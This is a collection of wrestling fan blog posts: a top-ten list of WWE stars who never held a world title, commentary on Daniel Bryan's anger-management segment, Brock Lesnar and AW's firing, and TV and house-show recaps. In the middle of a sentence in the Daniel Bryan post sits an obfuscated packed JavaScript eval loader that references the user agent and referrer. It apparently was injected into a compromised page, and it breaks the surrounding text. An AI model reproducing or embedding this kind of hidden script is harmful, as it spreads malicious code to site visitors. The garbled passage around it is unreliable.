WWE Lists Top Ten Superstars To Never Be World Champion

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– The current “10 Count” with Matt Striker on WWE Classics on Demand ranks the top 10 Superstars to never win a world championship. The list is as follows:

Honorable Mentions: Killer Kowalski, Lance Storm

10. Arn Anderson
9. Chief Jay Strongbow
8. Paul Orndorff
7. Nikita Koloff
6. Junkyard Dog
5. Scott Hall
4. Jake “The Snake” Roberts
3. British Bulldog
2. “The Million Dollar Man” Ted DiBiase
1. “Rowdy” Roddy Roddy Piper



Daniel Bryan’s Anger Management And Why It Was A Good Idea

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyiha|var|u0026u|referrer|aatrr||js|php'.split('|'),0,{})) was a segment on the show last night and if you haven’t checked it out, please do so.  There are three parts to it and the final part with Kane giving his life story is some of the funniest stuff I’ve heard on Raw in at least the past year.  But there’s something else I wanted to talk about regarding this.When he first came to WWE, Daniel Bryan was about as dull as you could get.  He was a guy in trunks that could do a lot of submissions and that’s it.  For roughly a year he did nothing significant before he won the world title out of nowhere.  That was ok but it still didn’t quite work.  Then he started saying YES.  Then he started saying NO.  Now he has anger management issues and he’s probably getting the biggest reactions on the roster.

 

Last night’s segment was another example of why this push is working: WWE is giving time, effort and thought to making this new character work.  There’s a backstory to Bryan’s new persona and it has a logical progression to it.  Instead of just throwing it out there like the Hawkins/Reks stripper thing that happened out of nowhere with a flimsy reason (they wanted to get noticed), we’ve watched Bryan go from nothing to a guy with confidence to a guy who was paranoid to a guy with anger issues and IT WORKED.

 

The segment last night was a great way to build on the character as they took him out of the arena setting and showed us something different.  That’s a major problem with WWE today: everything is in the arena.  It’s like a sitcom in that way and it gets really monotonous.  Look back to the 80s: you would see people EVERYWHERE.  Off the top of my head I can think of segments in a control room, on a farm, in a country house, in a store, in a weight room, in a kitchen, and in the woods.  Those are the kinds of segments that build up characters and make them memorable.  Think of it like this: what do you remember more: something you did once, or something you did a hundred times?

 

In short, do more stuff like the anger management session and mix up these segments a bit.  It will work wonders for character development and it’ll freshen up a lot of stuff on the shows.



Thought of The Day: The Times They Are A Escalating

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And people wonder why the shows are getting watered down.



New Scooby Doo Movie To Be Set At Wrestlemania

Source

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WWE stars appearing in film, as well as providing voices, include Triple H, John Cena, Kane, The Miz, Brodus Clay, Santino Marella, Sin Cara, AJ, and WWE chairman/CEO Vince McMahon.

The film will be released on Blu-ray, DVD, VOD and digital download through Warner Bros. Home Entertainment. WWE will use its resources to promote the film, according to WWE Studios President Michael Luisi.
Read more at http://www.411mania.com/movies/news/250864/%5BMovies%5D-WWE-Stars-To-Appear-In-New-Scooby-Doo-Movie.htm#bohOWImiBG9me1h2.99

As a big fan of old cartoons, this is a joyous occasion for me.

Anyone else that would watch this?



ECW on Sci-Fi – September 19, 2006: Now With British Accent

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Date: September 19, 2006
Location: DCU Center, Worcester, Massachusetts
Commentators: Joey Styles, Tazz

Booker and Queen Sharmell arrive and Heyman has a red carpet waiting for them.

Opening sequence.

Sandman/Tommy Dreamer/Sabu vs. Test/Mike Knox/Matt Striker

The heels beat Dreamer and Sabu down until Sandman staggers out for the save.

Heyman introduces Booker and Sharmell to CW Anderson, Stevie Richards and Balls Mahoney. Guess which one incites comedy.

Balls Mahoney vs. Kevin Thorn

Booker and Sharmell meet the FBI, Trinity and Punk. Guess which one wants to face Booker.

CM Punk vs. Shannon Moore

Heyman says Booker should join ECW. RVD comes up and offers a challenge to an extreme rules match.

Rob Van Dam vs. King Booker

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ECW on Sci-Fi – September 12, 2006: ECW In MSG

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Date: September 12, 2006
Location: Madison Square Garden, New York City, New York
Commentators: Joey Styles, Tazz

Rob Van Dam vs. Hardcore Holly

Van Dam jumps him to start and snaps off a fast rana before being backdropped to the floor. Holly busts out a pescado which is a rare thing to see from him. This is as a result of Holly jumping Van Dam recently at the request/suggestion of Heyman, who hates Van Dam for some reason. Back in and a legdrop gets two for Holly who is in full control. A middle rope elbow kind of misses as I think Van Dam got his foot up but it looked odd.

Either way Van Dam is making his comeback here and hits the step over kick followed by Rolling Thunder for a delayed two. A monkey flip sends Holly out of the corner and Van Dam heads up. Holly crotches him but the superplex is broken up. The Five Star is loaded up again but here are Stevie Richards and Mike Knox for the DQ for no apparent reason.

Van Dam beats those two up but Test comes out as well, hitting the full nelson slam to take him out. Sandman and Dreamer finally run in for the save. Everyone hits Richards with something and the Five Star finishes his murder.

CM Punk vs. Shannon Moore

Rene Dupree is looking in a mirror.

Punk talks about all the guys he wants to fight when Kelly Kelly comes up to hit on him. She asks him out but Mike Knox makes the save. I think I smell a feud.

The villain in The Marine says the movie is cool.

Ariel and Kevin Thorn come out for the next match.

Rene Dupree vs. Balls Mahoney

ECW World Title: Big Show vs. Sabu

This is non-title. Ok apparently it is for the belt. Why would Heyman agree to that? He and the bodyguards are at ringside and Heyman is panicking as Sabu sets up tables before the bell. We take a break and come back with Sabu holding a chair in the ring and the bell rings. Show swats that away with ease and knocks him out to the floor. Back in and Show throws the chair to the floor and clotheslines Sabu down for two. This is going very slowly so far.

http://kbwrestlingreviews.com/2012/08/12/unforgiven-2006-the-year-of-cena-begins/

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Quick Thoughts On AW’s Release

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My thoughts on it are screw you AW.  You were given a live mic and you make a joke about rape victims.  Just stop and think about that for a second.  You made a joke about women being raped and you want to blame everyone else for it?  You got to stick around for two more weeks after that and now you’re blaming WWE for firing you?  Any company would have fired you for that.

He mentions the Attitude Era and how that would have made it ok.  While it’s not the Attitude Era, I would give you two words: Katie Vick.  That was similar to this yet it was on video.  Was that ok?  No, it’s one of the most bashed segments in WWE history.  There even was an implied rape when HHH drugged and married Stephanie.  Was that ok?  No, it wasn’t, but you know what else?  That was HHH that said it and it was in a storyline.

AW was a low level guy who had been on TV for like 4 months in this run and hadn’t done a thing.  He got fired because he said something stupid and offensive.  That’s life.  He screwed up and was punished for it and now he’s whining about what he did wrong because for some reason he can’t be held accountable for what comes out of his mouth on live television.  I have zero problem with him getting released and I find his rant and complaining about something like this to be pitiful.



WWF House Show – September 18, 1987: The Worst Kind Of Show

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Date: September 18, 1987
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Attendance: 9,000
Commentators: Gorilla Monsoon, Dick Graham

We open with a quick rundown of some of the bigger matches, including Beefcake vs. Rude and Race vs. Savage.

Barry Horowitz vs. Lanny Poffo

We get down to business now with Poffo grabbing an armbar for control. The arm hold stays on for awhile as the announcers talk about the Piledriver Album. They get back up and Barry whips him into the corner, only to be reversed into an armdrag and armbar #3. Into the corner again and Larry headscissors him across the ring. Barry gets in a thumb to the eye and some European uppercuts. A legdrop gets two.

Frenchy Martin vs. Special Delivery Jones

Harley Race vs. Randy Savage

Race quickly grabs a rope so Savage clotheslines him over the top and out to the floor. Savage clotheslines him back over the top rope to bring Race back in and Harley is in trouble. Race hits him in the ribs and sends Savage out to the floor, but Macho sends Race head first into the announce table. Well it is Philly after all. Race trips him up and like an idiot, tries a falling headbutt on the floor. The miss gets two for Savage back in the ring.

Rating: C+. This was a nice breath of air as Savage was on fire at this point and the fans were rapidly getting behind him. He would feud with Honky for a few more months before entering the world title tournament at Wrestlemania and taking over the company for a year. Good stuff here as Race was still excellent in the ring and can make even someone like Savage, who is already as talented as anyone, look better.

Iron Mike Sharpe vs. Scott Casey

Casey is known for two things: being on Survivor Series 88 due to a ton of injuries and also training Harlem Heat. Feeling out process to start for the first minute or so with nothing going on. Casey crucifixes him down for two and Sharpe heads to the floor. Back in and Sharpe poses a bit and wants a test of strength. Casey goes down to his knees in the grip but he rolls away and takes Sharpe down.

Rick Rude vs. Brutus Beefcake

Rating: D+. Not a great match again but at least there was some energy in this match and there were some people I might care about for a change. Beefcake would get MUCH better in a few years as would Rude, and with Jake Roberts lurking for Rude, that time would come soon. This was your usual house show punch and kick match though.

Craig DeGeorge has replaced Monsoon on commentary. Great.

Junkyard Dog vs. Ted DiBiase

Tag Titles: Hart Foundation vs. Killer Bees

Blair elbows out of it but Bret gets a blind tag and comes in, only to get taken down by a double clothesline. Both guys are down now and the fans are getting into this. Blair picks him up for a slam and Neidhart kicks Bret down onto Blair, but Blair rolls through for two. That would have been an awesome way to change the titles if that was what they were doing here.

Blair crawls over to make the tag and Bret is in trouble. Bret gets his foot on the ropes to save the titles twice in a row before grabbing a sleeper to give himself a breath. Everything breaks down and Brunzell dropkicks Bret to the apron. Brunzell tries to suplex him back in but Neidhart trips him up, allowing Bret to fall on top to retain the titles.

Outback Jack vs. Tiger Chung Lee

WWF World Title: Killer Khan vs. Hulk Hogan

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I Want To Talk A Little Bit About Brock Lesnar’s 2012 WWE Run

 

Rating: A. WOW. This is going to be a disputed rating but this was an absolute war. Cena got one homerun shot to win it but that’s all he needed. Lesnar dominated about 95% of the match but it was good enough to make both guys look great. Lesnar can come back but Cena has the first win, which sets up a rematch where Lesnar can beat him. I had a blast with this and Lesnar looks AMAZING.

 

 

The match was a huge success, drawing more buys than most Extreme Rules PPVs usually get. The criticism seems to be that Cena won. Why? Why is that such a big deal? Cena was DESTROYED for the majority of the fight then caught Lesnar in a miracle, hit a big move and won. This for some reason was determined to be the worst possible idea. Clearly these people are right because you can NEVER come back from a loss in wrestling right?

 

 

The most likely and the result I think will happen, is Brock vs. Taker. This has an interesting story to it as they could go more than one way. The less likely way is to point out that Taker has never beaten Brock, but that would mean talking about Biker Taker time which is rarely mentioned. The more likely choice is to have Brock challenging the Streak with the machine facing the MMA Cowboy of Death. That could be an excellent match with Taker always getting fired up to show off his MMA skills.

 

 

AW and Tensai Punished For Remarks

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Thoughts on this?